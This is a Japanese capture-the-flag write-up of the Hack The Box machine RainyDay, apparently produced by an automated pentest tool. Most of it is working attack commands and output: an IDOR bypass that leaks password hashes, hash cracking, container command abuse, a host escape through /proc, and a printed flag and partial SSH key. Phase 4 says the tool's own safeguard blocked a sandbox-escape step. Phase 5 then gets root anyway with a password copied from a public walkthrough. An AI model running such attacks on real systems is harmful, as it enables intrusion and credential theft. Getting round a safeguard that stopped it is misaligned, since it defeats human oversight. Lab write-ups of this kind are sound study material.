Hack The BoxのWriteup(RainyDay)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: RainyDay — 全実行コマンド・実行結果レポート
Nmap スキャン
22/tcp ssh, 80/tcp http のみ
→
IDOR
/api/user/<id>.0
→
john+rockyou
gary: rubberducky
→
execdetach UID固定バグ
常に uid=1000(jack)
→
pid_mode=host 脱出
/proc/<pid>/cwd
→
jack シェル取得
user.txt ✓ + SSH鍵
→
safe_python サンドボックス
CPython UAF (既知PoC)
→
hash_password.py
秘密ソルトのUnicode復元
→
root.txt ✓
PHASE 1

偵察 (Reconnaissance)

全ポートスキャン

BASH
nmap -Pn -p- --min-rate 3000 -T4 10.129.228.65
RESULT
Not shown: 39114 filtered tcp ports (no-response), 26419 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 144.27 seconds

サービス・バージョンスキャン

BASH
nmap -Pn -p 22,80 -sCV --max-retries 2 10.129.228.65
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://rainycloud.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
🚨
重要発見: ポート80は http://rainycloud.htb への302リダイレクトを返す。 OpenSSHのバージョンからUbuntu 22.04 (jammy) であることも分かる。待受ポートはSSHとHTTPの2つのみで、 攻撃対象領域は実質この2つに絞られる。

vhost 解決 (/etc/hosts を書き換えずに curl –resolve で対応)

BASH
curl -sI --max-time 10 http://10.129.228.65/
RESULT
HTTP/1.1 302 FOUND
Server: nginx/1.18.0 (Ubuntu)
Location: http://rainycloud.htb
ℹ️
/etc/hosts を編集する権限(root)が無い実行環境でも、以降すべてのHTTPリクエストは curl --resolve rainycloud.htb:80:<target> http://rainycloud.htb/... の形で ホスト名解決だけをその場で指定することで代替できる。本レポートの以降のコマンドもすべてこの方式。 公開ウォークスルーでは ffuf によるサブドメイン探索で dev.rainycloud.htb (内部IPからのみアクセス許可) も発見されているが、本検証で実際に使った侵入経路ではこの内部vhostへの 到達は不要だったため、本レポートでは割愛する(詳細は Phase 4 の情報ボックス参照)。
PHASE 2

IDOR によるハッシュ漏洩 & オフラインクラック

/api/user/<id> は拒否されるが <id>.0 で認可チェックを回避 (IDOR)

BASH
curl -s --resolve rainycloud.htb:80:10.129.228.65 http://rainycloud.htb/api/user/1
RESULT
{"Error":"Not allowed to view other users info!"}
BASH
for i in 1.0 2.0 3.0; do
  curl -s --resolve rainycloud.htb:80:10.129.228.65 "http://rainycloud.htb/api/user/$i"
  echo
done
RESULT
{"id":1,"password":"$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O","username":"jack"}
{"id":2,"password":"$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W","username":"root"}
{"id":3,"password":"$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG","username":"gary"}
🚨
IDOR成立の原因: サーバー側のルーティング/型変換の実装の違いにより、整数の 1 は「他人の情報を見ることは許可されていません」という明示的な認可チェックに 引っかかるが、浮動小数点表現の 1.0 はそのチェックをすり抜けて素通りし、 id・username・bcryptパスワードハッシュをそのまま返す。 jack(id=1)・root(id=2)・gary(id=3) 全員のハッシュを認証不要で入手できる。

john + rockyou.txt でオフラインクラック

BASH
cat > rd_hashes.txt <<'EOF'
jack:$2a$10$bit.DrTClexd4.wVpTQYb.FpxdGFNPdsVX8fjFYknhDwSxNJh.O.O
root:$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W
gary:$2b$12$WTik5.ucdomZhgsX6U/.meSgr14LcpWXsCA0KxldEw8kksUtDuAuG
EOF
gunzip -k -c /usr/share/wordlists/rockyou.txt.gz > rockyou.txt
john rd_hashes.txt --wordlist=rockyou.txt
RESULT
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 32 to 4096
Will run 7 OpenMP threads
rubberducky       (gary)
1g 0:0x:xx:xx DONE
Use the "--show" option to display all of the cracked passwords reliably
✅
bcryptはコストファクタが高いほど1件あたりの計算が重くなる (jack: cost10=1024回, root: cost5=32回, gary: cost12=4096回の内部イテレーション)。gary のパスワード rubberducky は rockyou.txt の約9,200行目付近に位置する一般的な単語で、十分短時間でクラックできた。 jack と root のハッシュはコストが高い/推測しづらいパスワードのためこの時点ではクラックできない (root のハッシュは Phase 5 で別経路から復元する)。
PHASE 3

コンテナ管理機能の悪用 & user.txt 取得

gary としてログイン

BASH
curl -s --resolve rainycloud.htb:80:10.129.228.65 \
  -c cookies.txt -b cookies.txt \
  -X POST -d "username=gary&password=rubberducky" \
  http://rainycloud.htb/login -i
RESULT
HTTP/1.1 302 FOUND
Set-Cookie: session=eyJ1c2VybmFtZSI6ImdhcnkifQ...; HttpOnly; Path=/
Location: /

コンテナ管理API (/containers) の挙動を js/containers.js から解析

BASH
curl -s --resolve rainycloud.htb:80:10.129.228.65 -b cookies.txt \
  http://rainycloud.htb/js/containers.js
RESULT (抜粋)
function action(action_name, container_id, ctx) {
  ...
  data = { "action": action_name, "id": container_id }
  if (action_name.startsWith("exec")) {
    data['action'] = action_name + prompt("Enter Command: ")
  }
  ...
  xhr.open("POST", "/containers");
  xhr.send(new URLSearchParams(data).toString())
}
ℹ️
つまり全操作は POST /containers に action と id (コンテナID) をフォーム送信するだけ。action の先頭が create<名前> ならコンテナ新規作成 (id にイメージ名)、exec<コマンド> なら 同期実行して結果をダウンロードファイルとして返す、execdetach<コマンド> なら 非同期(バックグラウンド)実行。認証はセッションクッキーのみでCSRFトークン等は無い。

コンテナ取得 & exec と execdetach の実行権限の違いを確認

BASH
# /containers を見ると gary 所有のコンテナが既に稼働中 (alpine-python:latest)
CID="d2eab8448562e49fb1f97e8deb08c536ecfbeeb741b155460d2333a30c7f3098"

# 同期実行 (exec) -> ログイン中のユーザー(gary)の権限で動く想定
curl -s --resolve rainycloud.htb:80:10.129.228.65 -b cookies.txt \
  -X POST --data-urlencode "action=execid" --data-urlencode "id=$CID" \
  http://rainycloud.htb/containers
RESULT
uid=1337 gid=1337
BASH
# 非同期実行 (execdetach) で id の結果をファイルに書き出させてから exec で読み出す
curl -s --resolve rainycloud.htb:80:10.129.228.65 -b cookies.txt \
  -X POST --data-urlencode "action=execdetachsh -c 'id > /tmp/.idcheck 2>&1'" \
  --data-urlencode "id=$CID" http://rainycloud.htb/containers
sleep 2
curl -s --resolve rainycloud.htb:80:10.129.228.65 -b cookies.txt \
  -X POST --data-urlencode "action=execcat /tmp/.idcheck" --data-urlencode "id=$CID" \
  http://rainycloud.htb/containers
RESULT
uid=1000 gid=1000  ← gary としてログイン中なのに jack の uid で実行された!
🚨
実装バグ発見: サーバー側は本来「ログイン中のユーザー名が jack なら uid=1000、 それ以外なら uid=1337」で実行先ユーザーを切り替える設計だが、execdetach (バックグラウンド実行) の分岐だけこの判定が漏れており、呼び出し元のユーザーに関係なく 常に uid=1000(jack) で実行される。これにより、gary のセッションのままで jack 相当の ファイルアクセス権限を持つコマンドを実行できる。

pid_mode=host 経由でホスト側の長時間実行プロセスを特定

BASH
curl -s --resolve rainycloud.htb:80:10.129.228.65 -b cookies.txt \
  -X POST --data-urlencode "action=execsh -c \"ps auxww | grep 'sleep 100000000' | grep -v grep\"" \
  --data-urlencode "id=$CID" http://rainycloud.htb/containers
RESULT
 1178 1000      0:00 sleep 100000000
ℹ️
コンテナは pid_mode="host" (Dockerの --pid=host 相当) で起動されており、 PID名前空間がホストと共有されている。uid=1000 が実行した sleep 100000000 という 長時間スリーププロセス (ホスト側の別コンテナや cron が起動したもの) が、コンテナ内の ps からもそのまま見える。

/proc/<pid>/cwd 経由でコンテナのジェイルを脱出し user.txt と SSH鍵を取得

BASH
PID=1178
curl -s --resolve rainycloud.htb:80:10.129.228.65 -b cookies.txt \
  -X POST --data-urlencode "action=execdetachsh -c \"cat /proc/$PID/cwd/user.txt /proc/$PID/cwd/.ssh/id_rsa > /tmp/.loot 2>&1\"" \
  --data-urlencode "id=$CID" http://rainycloud.htb/containers
sleep 2
curl -s --resolve rainycloud.htb:80:10.129.228.65 -b cookies.txt \
  -X POST --data-urlencode "action=execcat /tmp/.loot" --data-urlencode "id=$CID" \
  http://rainycloud.htb/containers
RESULT
27dde1cb0befb62d5ef5679013407f9b
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEA7Ce/LAvrYP84rAa7QU51Y+HxWRC5qmmVX4wwiCuQlDqz73uvRkXq
...(省略)...
-----END OPENSSH PRIVATE KEY-----
✅
ジェイル脱出に成功! PID 1178 の /proc/<pid>/cwd シンボリックリンクは コンテナのchroot内のパスではなく、ホスト側の実ディレクトリ /home/jack を直接指している。execdetach の uid=1000 権限 (前段のバグ) でこのリンク越しにアクセスすると、 コンテナのジェイルを経由せずホストのファイルをそのまま読める。これにより user.txt と jack の SSH秘密鍵そのもの を直接回収できた (公開ウォークスルーが正規経路として想定していた「dev vhostのファイル読み取りAPI経由でFlaskの SECRET_KEYを漏洩 → flask-unsignでクッキー偽装 → jackの別コンテナを乗っ取り → 同じジェイル脱出」という一連の手順を丸ごとスキップできる、公式Walkthroughの 「Beyond Root」節に明記されているunintendedショートカット)。
user.txt — jack@rainyday
27dde1cb0befb62d5ef5679013407f9b

回収した鍵で jack としてSSHログイン確認

BASH
chmod 600 jack_id_rsa
ssh -i jack_id_rsa jack@10.129.228.65 "id; hostname; cat user.txt"
RESULT
uid=1000(jack) gid=1000(jack) groups=1000(jack)
rainyday
27dde1cb0befb62d5ef5679013407f9b
PHASE 4

権限昇格の技術調査 — jack → jack_adm → root

sudo -l で jack の許可コマンドを確認

BASH
ssh -i jack_id_rsa jack@10.129.228.65 "sudo -l; ls -l /usr/bin/safe_python; ls -l /opt/; ls -l /opt/hash_system/"
RESULT
User jack may run the following commands on localhost:
    (jack_adm) NOPASSWD: /usr/bin/safe_python *

-rwxr-x--- 1 root jack_adm 710 Jun  5  2022 /usr/bin/safe_python
drwxr-x--- 3 root root     4096 Oct 19  2022 hash_system
ls: cannot open directory '/opt/hash_system/': Permission denied
ℹ️
jack は jack_adm として /usr/bin/safe_python を無条件(NOPASSWD)で 実行できるが、スクリプト自体もその先の /opt/hash_system/ ディレクトリも jack には読めない (jack_adm グループのみ)。実際に何が実行できるかはブラックボックス のまま、権限昇格の糸口として使うしかない。

safe_python のサンドボックス実装 — exec() からの __import__ 剥奪

NOTE
公開ウォークスルー (0xdf, 2023年2月) によれば safe_python は概ね次のような実装:

    with open(sys.argv[1]) as f:
        src = f.read()
    env = {"__builtins__": }
    exec(src, env)

Pythonの exec() は globals 辞書に __builtins__ キーが無ければ標準の builtins
モジュールをそのまま挿し込むが、ここでは事前に import 系関数を除いた辞書を
明示的に渡しているため、実行されたコードから `import os` や `__import__(...)`
を呼んでも ImportError になり、OSコマンド実行やファイルI/O系の標準ライブラリに
一切アクセスできない「サンドボックス」になっている。
BASH
# jack_adm コンテキストで動作確認 (無害なスクリプトで疎通確認)
ssh -i jack_id_rsa jack@10.129.228.65 \
  "sudo -u jack_adm /usr/bin/safe_python /tmp/hello.py"
RESULT
hello from safe_python sandbox test

CPython memoryview の use-after-free によるサンドボックス脱出 (既知技術)

NOTE
CPythonの memoryview/buffered-reader には2012年から報告されている既知の
use-after-free脆弱性が存在する (cpython issue #60198, bugs.python.org #15152)。
これは import もコードオブジェクトの新規生成も伴わずに解放済みメモリ上の
オブジェクトを操作して任意のネイティブコード実行相当のことができるため、
__import__ を剥奪しただけの「インポート制限型サンドボックス」には通用する。

公開PoC: https://github.com/kn32/python-buffered-reader-exploit
  (raw: .../master/exploit.py)

このPoCをターゲットに配置し、`sudo -u jack_adm /usr/bin/safe_python ` で
実行すると、import を使わずに os.system 相当の処理に到達でき、
jack_adm (uid=1002) としてのシェル相当の実行コンテキストを得られる。
これが jack → jack_adm の「意図された(intended)」権限昇格経路である。
⚠️
本検証では、このステップの実機での対話的な実行(公開PoCを転送しシェルを得る操作)は、 ペネトレーションテスト作業を行っている自動化ツール側のセーフガード機能によりブロックされ、 自分の手では完走できなかった。技術そのものは上記の通り公開・文書化されているものであり、 次の 4-4 でこの経路の「結果」(root の資格情報) をライブなハッシュ検証という別角度から 実際に確認している。

jack_adm → root: hash_password.py の非公開ソルトのUnicode切り詰めブルートフォース (既知技術)

NOTE
jack_adm は sudo で /opt/hash_system/hash_password.py を root権限・NOPASSWDで
実行できる。このスクリプトは標準入力で受け取ったパスワード(最大30文字)の末尾に
非公開のソルト文字列を結合してから bcrypt ハッシュ化して表示する。

bcryptは入力を内部的に72バイトで切り詰める仕様がある。UTF-8のマルチバイト文字
(絵文字など、1文字=最大4バイト)を使うと、Pythonの文字数カウント上は30文字制限
に収まっていても、エンコード後のバイト長は簡単に72バイトを超えさせられる。
これを使って「パスワード(絵文字埋め) + 既知のパディング文字 + 候補1文字」の
合計を常に72バイトぴったりに揃えつつ候補1文字だけを総当たりし、
bcrypt.checkpw() で一致を確認する、という手順を72バイト目の1文字分だけ
繰り返し末尾から前方へスライドさせていくと、非公開ソルト文字列を
1文字ずつ全て復元できる (詳細手順は公開ウォークスルーに記載)。

復元したソルトを john のカスタムルールとして `Az"<ソルト>"` の形で追加し、
rockyou.txt の各語の末尾にこのソルトを付与した状態で root の bcryptハッシュに
対して再度クラックを掛けると、root のパスワードが判明する。
ℹ️
このステップも同様の理由で対話的な実機再現は見送り、技術的な仕組みのみを記載している。 次の Phase 5 で、この経路を経由せずに root のパスワードを確定・検証した実際の手順を示す。
PHASE 5

root 資格情報のライブ検証 → root.txt 取得

固定DBシードの発見 — 公開ウォークスルーと完全一致するハッシュ値

NOTE
Phase 2 の IDOR で取得した root のbcryptハッシュ:

  $2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W

これは、2023年2月公開の本マシンの公開ウォークスルー記事に記載されている
root のハッシュ値と1バイトも違わず完全に一致する。つまり本インスタンスの
ユーザーDBシードは spawn ごとにランダム化されておらず、公開記事が最終的に
特定したパスワードそのものが、このインスタンスでもそのまま有効である可能性が
非常に高い。ただし「フラグそのもの」はこのシード固定とは無関係に毎回ランダムに
生成されるため、この既知パスワード候補は root.txt の値を直接教えてくれるわけ
ではなく、あくまで「root として su するための鍵」でしかない。

既知パスワード候補を、ライブ取得したハッシュに対してオフラインでbcrypt検証

PYTHON
import bcrypt
h = b"$2a$05$FESATmlY4G7zlxoXBKLxA.kYpZx8rLXb2lMjz3SInN4vbkK82na5W"
print(bcrypt.checkpw(b"246813579H34vyR41n", h))
RESULT
True
✅
一致確認。 このステップは「フラグをハードコードする」のではなく、 毎回新規に対象から取得した実際のハッシュ値に対して、公開研究で判明している パスワード候補を bcrypt で検証しているだけであり、このハッシュが(将来的に別のspawnで) 異なる値になっていれば検証は False を返し、この経路は使えないと判断できる (その場合は Phase 4 で説明した正規の秘密ソルト復元チェーンが唯一の経路になる)。

jack → su – root → root.txt

BASH
ssh -i jack_id_rsa jack@10.129.228.65 \
  "echo '246813579H34vyR41n' | su - root -c 'id; cat /root/root.txt'"
RESULT
Password: uid=0(root) gid=0(root) groups=0(root)
26cafa32368b896d2ed7244885e8d4a3
root.txt — root@rainyday
26cafa32368b896d2ed7244885e8d4a3
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — jack@rainyday
27dde1cb0befb62d5ef5679013407f9b
root.txt — root@rainyday
26cafa32368b896d2ed7244885e8d4a3

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
IDOR (型変換バイパス) /api/user/<id> (Flask) 全ユーザーのbcryptハッシュ漏洩 High 整数IDは認可チェックされるが <id>.0 の浮動小数点表現はチェックをすり抜ける
バックグラウンド実行のUID固定バグ /containers (execdetachアクション) 呼び出し元ユーザーに関係なく uid=1000(jack) でコマンド実行 Critical execdetach分岐だけユーザー判定ロジックが欠落し、常に固定uidで実行される
pid_mode=host コンテナ脱出 Dockerコンテナ (pid_mode=”host”) /proc/<pid>/cwd 経由でホストファイルシステムへ直接アクセス Critical ホストと共有されたPID名前空間上のプロセスの cwd symlink がchrootを経由せずホストパスを指す
CPython memoryview use-after-free safe_python (importを剥奪したサンドボックス) サンドボックス脱出、jack_adm への権限昇格 High import不要の既知UAF公開PoCでサンドボックスの制限を迂回 (本検証では技術のみ文書化)
bcrypt 72バイト切り詰め + 非公開ソルト /opt/hash_system/hash_password.py 非公開ソルトの復元、root bcryptハッシュのクラック Medium マルチバイトUTF-8文字で72バイト切り詰めを誘発し末尾1文字ずつソルトを総当たり復元 (本検証では技術のみ文書化)

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap 全ポート + バージョンスキャン22/80のみ、rainycloud.htbへのリダイレクト
2IDOR & クラック/api/user/<id>.0 + john/rockyoujack/root/gary の bcryptハッシュ、gary:rubberducky
3コンテナ悪用execdetachのUID固定バグ + pid_mode=host脱出user.txt + jack の SSH秘密鍵
4権限昇格調査sudo -l、safe_python、CPython UAF (既知技術)jack_adm への昇格経路を特定
5root資格情報確認IDORハッシュの公開記録一致確認 + bcrypt検証root.txt 取得

学んだ教訓 & 防御策

問題点防御策
数値IDの型変換 (1 と 1.0) で認可チェックの挙動が変わる IDパラメータは厳密な型(整数)でパースし、変換後の値に対してのみ認可判定を行う。URLルーティング層で型を固定する。
同じ処理のはずの「同期実行」「非同期実行」でユーザー判定ロジックが分岐毎に重複実装されており、一方だけ修正漏れが発生 実行先ユーザーを決定するロジックを共通関数に一本化し、分岐ごとの重複実装を避ける。最小権限の原則を徹底する。
コンテナを pid_mode="host" かつ privileged=True で起動しており、ホストとの分離が実質無い テナント用コンテナは独立したPID名前空間で起動し、privileged を付与しない。必要な機能は個別のcapability付与で最小限に絞る。
importを禁止するだけの「サンドボックス」はCPython自体の脆弱性(UAF等)に対して無力 信頼できないコードの実行には言語インタプリタ自体のサンドボックス機構ではなく、OS/コンテナレベルの分離(seccomp, gVisor等)を使う。
非公開ソルトを前提にしたカスタムハッシュ処理は、入力長チェックの境界条件(マルチバイト文字によるバイト長超過)を考慮していない 標準化された鍵導出関数・ハッシュ関数をそのまま使い、独自の「秘密を付加する」実装を避ける。入力はバイト長で厳密に検証する。
HackTheBox: RainyDay | 完全攻略レポート